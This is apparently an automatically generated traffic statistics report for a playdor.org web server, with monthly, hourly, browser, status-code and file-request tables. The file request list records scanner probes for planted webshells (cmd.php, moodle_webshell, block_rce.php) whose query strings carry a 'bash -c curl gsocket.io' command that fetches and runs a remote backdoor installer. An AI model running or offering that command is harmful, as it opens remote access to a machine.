Web Server Statistics for _wildcard_.playdor.orgProgram started on Sat, Mar 22 2025 at 2:09 PM.
Analyzed requests from Fri, Jun 14 2024 at 6:37 PM to Sat, Mar 22 2025 at 2:00 PM (280.81 days).
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Figures in parentheses refer to the 7-day period ending Mar 22 2025 at 2:09 PM.
Successful requests: 78,197 (27,587)
Average successful requests per day: 278 (3,940)
Successful requests for pages: 51,664 (24,882)
Average successful requests for pages per day: 183 (3,554)
Failed requests: 18,790 (29)
Redirected requests: 7 (0)
Distinct files requested: 50,823 (51,744)
Distinct hosts served: 753 (1,487)
Data transferred: 23.99 gigabytes (14.48 gigabytes)
Average data transferred per day: 87.47 megabytes (2.07 gigabytes)
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Each unit (
) represents 1,500 requests for pages or part thereof.
| month | #reqs | #pages | |
|---|---|---|---|
| Jun 2024 | 17 | 17 | ![]() |
| Jul 2024 | 34 | 34 | ![]() |
| Aug 2024 | 63 | 55 | ![]() |
| Sep 2024 | 65 | 61 | ![]() |
| Oct 2024 | 39 | 39 | ![]() |
| Nov 2024 | 1140 | 85 | ![]() |
| Dec 2024 | 5145 | 228 | ![]() |
| Jan 2025 | 3529 | 41 | ![]() |
| Feb 2025 | 8378 | 72 | ![]() |
| Mar 2025 | 59787 | 51032 | ![]() ![]() ![]() |
Busiest month: Mar 2025 (51,032 requests for pages).
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Each unit (
) represents 500 requests for pages or part thereof.
| day | #reqs | #pages | |
|---|---|---|---|
| Sun | 22738 | 18702 | ![]() ![]() ![]() |
| Mon | 8801 | 5510 | ![]() ![]() |
| Tue | 3340 | 342 | ![]() |
| Wed | 7759 | 4120 | ![]() ![]() |
| Thu | 7976 | 4006 | ![]() ![]() |
| Fri | 7846 | 3951 | ![]() |
| Sat | 19737 | 15033 | ![]() ![]() ![]() ![]() ![]() |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Each unit (
) represents 80 requests for pages or part thereof.
| hour | #reqs | #pages | |
|---|---|---|---|
| 0 | 3257 | 2363 | ![]() ![]() ![]() ![]() |
| 1 | 3268 | 2244 | ![]() ![]() ![]() ![]() |
| 2 | 3386 | 2380 | ![]() ![]() ![]() ![]() |
| 3 | 3812 | 2734 | ![]() ![]() ![]() |
| 4 | 3518 | 2326 | ![]() ![]() ![]() ![]() |
| 5 | 3492 | 2495 | ![]() |
| 6 | 2722 | 1937 | ![]() ![]() ![]() |
| 7 | 3701 | 2552 | ![]() |
| 8 | 4033 | 2872 | ![]() ![]() |
| 9 | 4679 | 3425 | ![]() ![]() ![]() ![]() |
| 10 | 3411 | 2229 | ![]() ![]() ![]() |
| 11 | 3508 | 2436 | ![]() ![]() ![]() ![]() ![]() |
| 12 | 3847 | 2854 | ![]() ![]() |
| 13 | 3287 | 2148 | ![]() ![]() ![]() ![]() |
| 14 | 2674 | 1433 | ![]() ![]() |
| 15 | 2391 | 1353 | ![]() ![]() |
| 16 | 2373 | 1261 | ![]() |
| 17 | 2989 | 1784 | ![]() ![]() ![]() ![]() |
| 18 | 2284 | 1482 | ![]() ![]() ![]() |
| 19 | 3206 | 1555 | ![]() ![]() |
| 20 | 3181 | 1869 | ![]() ![]() |
| 21 | 2767 | 1713 | ![]() ![]() ![]() |
| 22 | 3228 | 2009 | ![]() ![]() ![]() |
| 23 | 3183 | 2210 | ![]() ![]() ![]() |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Listing domains, sorted by the amount of traffic.
| #reqs | %bytes | domain |
|---|---|---|
| 78195 | 100% | [unresolved numerical addresses] |
| 2 | [domain not given] |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Listing the top 20 organizations by the number of requests, sorted by the number of requests.
| #reqs | %bytes | organization |
|---|---|---|
| 49630 | 97.23% | 66.249 |
| 13734 | 0.32% | 104 |
| 5290 | 64.112 | |
| 4233 | 2.16% | 192.178 |
| 1277 | 45 | |
| 587 | 164.92 | |
| 293 | 206.189 | |
| 250 | 159.223 | |
| 194 | 134.209 | |
| 130 | 68.183 | |
| 128 | 178.128 | |
| 108 | 103 | |
| 103 | 101 | |
| 80 | 0.11% | 52 |
| 76 | 107 | |
| 74 | 152.42 | |
| 72 | 36 | |
| 66 | 209.38 | |
| 64 | 157.230 | |
| 62 | 27 | |
| 1746 | 0.18% | [not listed: 160 organizations] |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)
Listing referring URLs, sorted by the number of redirected requests.
| #reqs | URL |
|---|---|
| 2 | https://online.playdor.org/wp-admin/ |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Listing the top 30 referring URLs by the number of failed requests, sorted by the number of failed requests.
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Listing referring sites, sorted by the number of requests.
| #reqs | site |
|---|---|
| 890 | https://online.playdor.org/ |
| 102 | https://2c8b3f19-0325-4acc-a3dd-31a918e4dbf5.random.playdor.org/ |
| 18 | http://baidu.com/ |
| 17 | https://www.google.com/ |
| 7 | https://www.online.playdor.org/ |
| 7 | https://wildcard.playdor.org/ |
| 7 | https://whm.playdor.org/ |
| 6 | https://tvg8uw.byhot.top/ |
| 5 | https://smtp.playdor.org/ |
| 5 | https://remote.playdor.org/ |
| 3 | https://shop.playdor.org/ |
| 3 | https://app.playdor.org/ |
| 3 | https://blog.playdor.org/ |
| 3 | https://secure.playdor.org/ |
| 3 | https://owa.playdor.org/ |
| 3 | https://2024.playdor.org/ |
| 3 | https://example.playdor.org/ |
| 3 | https://autoconfig.playdor.org/ |
| 3 | https://ssl.playdor.org/ |
| 1 | https://ftp.playdor.org/ |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Listing the top 40 browsers by the number of requests for pages, sorted by the number of requests for pages.
| #reqs | #pages | browser |
|---|---|---|
| 34941 | 34719 | Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.6943.141 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) |
| 9461 | 9229 | Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.6943.53 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) |
| 5089 | 3854 | Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.6943.53 Mobile Safari/537.36 (compatible; GoogleOther) |
| 2325 | 2236 | Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/133.0.6943.141 Mobile Safari/537.36 (compatible; GoogleOther) |
| 997 | 698 | Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) |
| 299 | 263 | Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.6998.88 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) |
| 1438 | 84 | python-requests/2.32.3 |
| 73 | 70 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/60.0.3112.78 Safari/537.36 |
| 71 | 49 | Mozilla/5.0 (compatible; CensysInspect/1.1; +https://about.censys.io/) |
| 38 | 38 | Mozilla/5.0 (compatible; NetcraftSurveyAgent/1.0; +info@netcraft.com) |
| 98 | 38 | Mozilla/5.0 (Linux; Android 11; vivo 1906; wv) AppleWebKit/537.36 (KHTML, like Gecko) Version/4.0 Chrome/87.0.4280.141 Mobile Safari/537.36 VivoBrowser/8.9.0.0 uni-app Html5Plus/1.0 |
| 27 | 26 | Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.6998.117 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) |
| 19 | 17 | Mozilla/5.0 (Linux; Android 8.0; Pixel 2 Build/OPD3.170816.012) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Mobile Safari/537.36 |
| 16 | 16 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/126.0.0.0 Safari/537.36 |
| 21 | 15 | ZoominfoBot (zoominfobot at zoominfo dot com) |
| 86 | 14 | Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/134.0.6998.88 Mobile Safari/537.36 (compatible; GoogleOther) |
| 15 | 14 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/127.0.0.0 Safari/537.36 |
| 54 | 14 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.0.0 Safari/537.36 |
| 43 | 13 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 |
| 17 | 10 | Mozilla/5.0 (Linux; Android 6.0.1; Nexus 5X Build/MMB29P) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/99.0.4844.84 Mobile Safari/537.36 (compatible; Googlebot/2.1; +http://www.google.com/bot.html) |
| 33 | 10 | Mozilla/5.0 (compatible) |
| 8 | 8 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_13_6) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/59.0.3071.86 Safari/537.36 |
| 71 | 7 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/81.0.4044.129 Safari/537.36 |
| 7 | 7 | Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains to: scaninfo@paloaltonetworks.com |
| 6 | 6 | Mozilla/5.0 (Windows NT 6.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/71.0.2623.112 Safari/537.36 |
| 6 | 6 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 |
| 10 | 6 | Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/129.0.0.0 Safari/537.36 |
| 16 | 6 | Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/63.0.3239.132 Safari/537.36 QIHU 360SE |
| 117 | 5 | Mozilla/5.0 AppleWebKit/537.36 (KHTML, like Gecko; compatible; bingbot/2.0; +http://www.bing.com/bingbot.htm) Chrome/116.0.1938.76 Safari/537.36 |
| 14 | 4 | python-requests/2.31.0 |
| 6 | 4 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/102.0.0.0 Safari/537.36 |
| 28 | 3 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/132.0.0.0 Safari/537.36 |
| 3 | 3 | Cloudflare-SSLDetector |
| 39 | 3 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/90.0.4430.85 Safari/537.36 |
| 3 | 3 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 |
| 6 | 3 | Mozilla/5.0 (compatible; wpbot/1.2; +https://forms.gle/ajBaxygz9jSR8p8G9) |
| 3 | 3 | Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.121 Safari/537.36 |
| 4 | 3 | Mozilla/5.0 (X11; CrOS x86_64 8172.45.0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/51.0.2704.64 Safari/537.36 |
| 2 | 2 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/54.0.2840.99 Safari/537.36 |
| 2 | 2 | Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/114.0.0.0 Safari/537.36 |
| 22627 | 96 | [not listed: 144 browsers] |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Listing browsers with at least 1 request for a page, sorted by the number of requests for pages.
| # | #reqs | #pages | browser |
|---|---|---|---|
| 1 | 67609 | 50668 | Safari |
| 67579 | 50653 | Safari/537 | |
| 6 | 5 | Safari/605 | |
| 2 | 2 | Safari/601 | |
| 3 | 2 | Safari/534 | |
| 8 | 2 | Safari/535 | |
| 2 | 1 | Safari/604 | |
| 2 | 1 | Safari/533 | |
| 2 | 1 | Safari/617 | |
| 1 | 1 | Safari/536 | |
| 2 | 1191 | 800 | Netscape (compatible) |
| 3 | 5645 | 91 | python-requests |
| 5645 | 91 | python-requests/2 | |
| 4 | 21 | 15 | ZoominfoBot (zoominfobot at zoominfo dot com) |
| 5 | 241 | 8 | Firefox |
| 2 | 2 | Firefox/56 | |
| 2 | 2 | Firefox/127 | |
| 1 | 1 | Firefox/19 | |
| 1 | 1 | Firefox/29 | |
| 1 | 1 | Firefox/125 | |
| 2 | 1 | Firefox/126 | |
| 6 | 7 | 7 | Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses |
| 7 | 7 | Expanse, a Palo Alto Networks company, searches across the global IPv4 space multiple times per day to identify customers' presences on the Internet. If you would like to be excluded from our scans, please send IP addresses/domains | |
| 7 | 10 | 5 | Mozilla |
| 8 | 3 | 3 | Cloudflare-SSLDetector |
| 9 | 10 | 2 | Go-http-client |
| 10 | 2 | Go-http-client/1 | |
| 10 | 2 | 2 | Screaming Frog SEO Spider |
| 2 | 2 | Screaming Frog SEO Spider/20 | |
| 11 | 4 | 2 | googlebot,bot,google |
| 12 | 1 | 1 | MSIE |
| 1 | 1 | MSIE/10 | |
| 13 | 1 | 1 | Netscape |
| 1 | 1 | Netscape/4 | |
| 14 | 1 | 1 | SAMSUNG-SGH-E250 |
| 1 | 1 | SAMSUNG-SGH-E250/1 | |
| 15 | 1 | 1 | Opera |
| 1 | 1 | Opera/9 | |
| 3392 | 0 | [not listed: 8 browsers] |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Listing operating systems, sorted by the number of requests for pages.
| # | #reqs | #pages | OS |
|---|---|---|---|
| 1 | 53134 | 50453 | Unix |
| 53128 | 50449 | Linux | |
| 4 | 3 | Other Unix | |
| 1 | 1 | SunOS | |
| 1 | 0 | BSD | |
| 2 | 10353 | 929 | OS unknown |
| 3 | 14438 | 120 | Windows |
| 1203 | 96 | Windows NT | |
| 13235 | 24 | Unknown Windows | |
| 4 | 169 | 103 | Macintosh |
| 5 | 45 | 2 | Known robots |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Listing status codes, sorted numerically.
| #reqs | status code |
|---|---|
| 78197 | 200 OK |
| 2 | 301 Document moved permanently |
| 5 | 302 Document found elsewhere |
| 15 | 400 Bad request |
| 2016 | 403 Access forbidden |
| 15927 | 404 Document not found |
| 713 | 4xx [Miscellaneous client/user errors] |
| 31 | 500 Internal server error |
| 79 | 502 Error at upstream server |
| 1 | 503 Service temporarily unavailable |
| 8 | 504 Gateway timeout |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

| size | #reqs | %bytes |
|---|---|---|
| 0 | 17302 | |
| 1B- 10B | 0 | |
| 11B- 100B | 10 | |
| 101B- 1kB | 6607 | |
| 1kB- 10kB | 256 | |
| 10kB-100kB | 63 | 0.01% |
| 100kB- 1MB | 53959 | 99.99% |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Listing extensions with at least 0.1% of the traffic, sorted by the amount of traffic.
| #reqs | %bytes | extension |
|---|---|---|
| 37121 | 87.48% | [directories] |
| 14525 | 9.66% | .htm [Hypertext Markup Language] |
| 2360 | 1.25% | [no extension] |
| 3603 | 1.09% | .xml |
| 200 | 0.43% | .shtm |
| 20388 | 0.08% | [not listed: 21 extensions] |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Listing directories with at least 0.01% of the traffic, sorted by the amount of traffic.
| #reqs | %bytes | directory |
|---|---|---|
| 42760 | 89.53% | [root directory] |
| 14543 | 9.69% | /merchandises/ |
| 535 | 0.25% | /category/ |
| 53 | 0.12% | /dpraia/ |
| 53 | 0.11% | /hlqbtj/ |
| 47 | 0.10% | /jiqphl/ |
| 27 | 0.06% | /abeawm/ |
| 59 | 0.04% | /safe_search/ |
| 17 | 0.04% | /utgcop/ |
| 6 | 0.01% | /interiorposter/ |
| 20097 | 0.04% | [not listed: 498 directories] |
(Go To: Top | General Summary | Monthly Report | Daily Summary | Hourly Summary | Domain Report | Organization Report | Redirected Referrer Report | Failed Referrer Report | Referring Site Report | Browser Report | Browser Summary | Operating System Report | Status Code Report | File Size Report | File Type Report | Directory Report | Request Report)

Listing files with at least 20 requests, sorted by the number of requests.
| #reqs | %bytes | last time | file |
|---|---|---|---|
| 37006 | 87.48% | Mar/22/25 1:58 PM | / |
| 34 | Mar/15/25 12:52 AM | /?cmd=bash -c "$(curl -fsSL https://gsocket.io/y)" | |
| 33 | Mar/15/25 12:52 AM | /?exec=bash -c "$(curl -fsSL https://gsocket.io/y)" | |
| 32 | Feb/14/25 8:59 AM | /?doact=yyy18 | |
| 9292 | Mar/22/25 2:00 PM | /wp-includes/blocks/paragraph/wp-login.php | |
| 4655 | Mar/22/25 2:00 PM | /wp-admin/css/colors/modern/wp-login.php | |
| 3171 | Mar/22/25 3:31 AM | /testsitemap.xml | |
| 18 | Mar/18/25 2:17 PM | /testsitemap.xml?128.199.206.127 | |
| 15 | Jan/16/25 2:31 PM | /testsitemap.xml?164.92.246.220 | |
| 13 | Dec/19/24 2:30 PM | /testsitemap.xml?139.162.46.74 | |
| 2977 | Mar/22/25 2:00 PM | /wp-content/themes/twentytwenty/inc/wp-blog-header.php | |
| 881 | 0.01% | Mar/22/25 12:05 PM | /login/index.php |
| 813 | 0.41% | Mar/22/25 7:15 AM | /pcmypage |
| 778 | 0.49% | Mar/15/25 7:24 PM | /get-message-notify |
| 155 | Mar/22/25 9:02 AM | /robots.txt | |
| 146 | Mar/14/25 5:22 AM | /favicon.ico | |
| 138 | 0.32% | Feb/23/25 11:08 AM | /sitemapindex2740.xml |
| 112 | Mar/21/25 9:39 PM | /local/moodle_webshell/webshell.php | |
| 92 | Mar/21/25 9:39 PM | /local/moodle_webshell/webshell.php?action=exec&cmd=bash -c "$(curl -fsSL https://gsocket.io/y)" | |
| 20 | Mar/21/25 10:19 AM | /local/moodle_webshell/webshell.php?action=exec&cmd=id | |
| 85 | 0.05% | Mar/16/25 3:22 PM | /search |
| 67 | Mar/19/25 11:02 PM | /uploads/cmd.php | |
| 47 | Mar/19/25 11:02 PM | /uploads/cmd.php?cmd=bash -c "$(curl -fsSL https://gsocket.io/y)" | |
| 20 | Mar/15/25 12:52 AM | /uploads/cmd.php?exec=bash -c "$(curl -fsSL https://gsocket.io/y)" | |
| 62 | Mar/21/25 9:39 PM | /moodle/local/moodle_webshell/webshell.php | |
| 62 | Mar/21/25 9:39 PM | /moodle/local/moodle_webshell/webshell.php?action=exec&cmd=bash -c "$(curl -fsSL https://gsocket.io/y)" | |
| 59 | Mar/15/25 12:54 AM | /img/cmd.php | |
| 39 | Mar/15/25 12:54 AM | /img/cmd.php?cmd=bash -c "$(curl -fsSL https://gsocket.io/y)" | |
| 20 | Mar/15/25 12:52 AM | /img/cmd.php?exec=bash -c "$(curl -fsSL https://gsocket.io/y)" | |
| 59 | 0.04% | Mar/16/25 2:14 AM | /safe_search/config |
| 52 | Mar/21/25 9:39 PM | /moodle/blocks/rce/lang/en/block_rce.php | |
| 52 | Mar/21/25 9:39 PM | /moodle/blocks/rce/lang/en/block_rce.php?cmd=bash -c "$(curl -fsSL https://gsocket.io/y)" | |
| 52 | Mar/21/25 9:39 PM | /blocks/rce/lang/en/block_rce.php | |
| 52 | Mar/21/25 9:39 PM | /blocks/rce/lang/en/block_rce.php?cmd=bash -c "$(curl -fsSL https://gsocket.io/y)" | |
| 45 | Mar/19/25 11:02 PM | /modules/mod_webshell/mod_webshell.php | |
| 45 | Mar/19/25 11:02 PM | /modules/mod_webshell/mod_webshell.php?action=exec&cmd=bash -c "$(curl -fsSL https://gsocket.io/y)" | |
| 39 | Mar/15/25 12:54 AM | /upload/cmd.php | |
| 20 | Mar/15/25 12:52 AM | /upload/cmd.php?exec=bash -c "$(curl -fsSL https://gsocket.io/y)" | |
| 19 | Mar/15/25 12:54 AM | /upload/cmd.php?cmd=bash -c "$(curl -fsSL https://gsocket.io/y)" | |
| 39 | Mar/15/25 12:54 AM | /wp-content/uploads/cmd.php | |
| 20 | Mar/15/25 12:52 AM | /wp-content/uploads/cmd.php?exec=bash -c "$(curl -fsSL https://gsocket.io/y)" | |
| 19 | Mar/15/25 12:54 AM | /wp-content/uploads/cmd.php?cmd=bash -c "$(curl -fsSL https://gsocket.io/y)" | |
| 39 | Mar/15/25 12:54 AM | /wp-content/upload/cmd.php | |
| 20 | Mar/15/25 12:52 AM | /wp-content/upload/cmd.php?exec=bash -c "$(curl -fsSL https://gsocket.io/y)" | |
| 19 | Mar/15/25 12:54 AM | /wp-content/upload/cmd.php?cmd=bash -c "$(curl -fsSL https://gsocket.io/y)" | |
| 38 | Mar/15/25 12:54 AM | /css/cmd.php | |
| 19 | Mar/15/25 12:54 AM | /css/cmd.php?cmd=bash -c "$(curl -fsSL https://gsocket.io/y)" | |
| 19 | Mar/15/25 12:53 AM | /css/cmd.php?exec=bash -c "$(curl -fsSL https://gsocket.io/y)" | |
| 38 | Mar/15/25 12:55 AM | /.tmb/cmd.php | |
| 19 | Mar/15/25 12:55 AM | /.tmb/cmd.php?cmd=bash -c "$(curl -fsSL https://gsocket.io/y)" | |
| 19 | Mar/15/25 12:53 AM | /.tmb/cmd.php?exec=bash -c "$(curl -fsSL https://gsocket.io/y)" | |
| 38 | Mar/15/25 12:55 AM | /uploads/foto/cmd.php | |
| 19 | Mar/15/25 12:55 AM | /uploads/foto/cmd.php?cmd=bash -c "$(curl -fsSL https://gsocket.io/y)" | |
| 19 | Mar/15/25 12:53 AM | /uploads/foto/cmd.php?exec=bash -c "$(curl -fsSL https://gsocket.io/y)" | |
| 38 | Mar/15/25 12:54 AM | /wp-content/plugins/cmd.php | |
| 19 | Mar/15/25 12:54 AM | /wp-content/plugins/cmd.php?cmd=bash -c "$(curl -fsSL https://gsocket.io/y)" | |
| 19 | Mar/15/25 12:52 AM | /wp-content/plugins/cmd.php?exec=bash -c "$(curl -fsSL https://gsocket.io/y)" | |
| 38 | Mar/15/25 12:55 AM | /server/cmd.php | |
| 19 | Mar/15/25 12:55 AM | /server/cmd.php?cmd=bash -c "$(curl -fsSL https://gsocket.io/y)" | |
| 19 | Mar/15/25 12:53 AM | /server/cmd.php?exec=bash -c "$(curl -fsSL https://gsocket.io/y)" | |
| 38 | Mar/15/25 12:55 AM | /tmp/cmd.php | |
| 19 | Mar/15/25 12:55 AM | /tmp/cmd.php?cmd=bash -c "$(curl -fsSL https://gsocket.io/y)" | |
| 19 | Mar/15/25 12:53 AM | /tmp/cmd.php?exec=bash -c "$(curl -fsSL https://gsocket.io/y)" | |
| 38 | Mar/15/25 12:55 AM | /class/cmd.php | |
| 19 | Mar/15/25 12:55 AM | /class/cmd.php?cmd=bash -c "$(curl -fsSL https://gsocket.io/y)" | |
| 19 | Mar/15/25 12:54 AM | /class/cmd.php?exec=bash -c "$(curl -fsSL https://gsocket.io/y)" | |
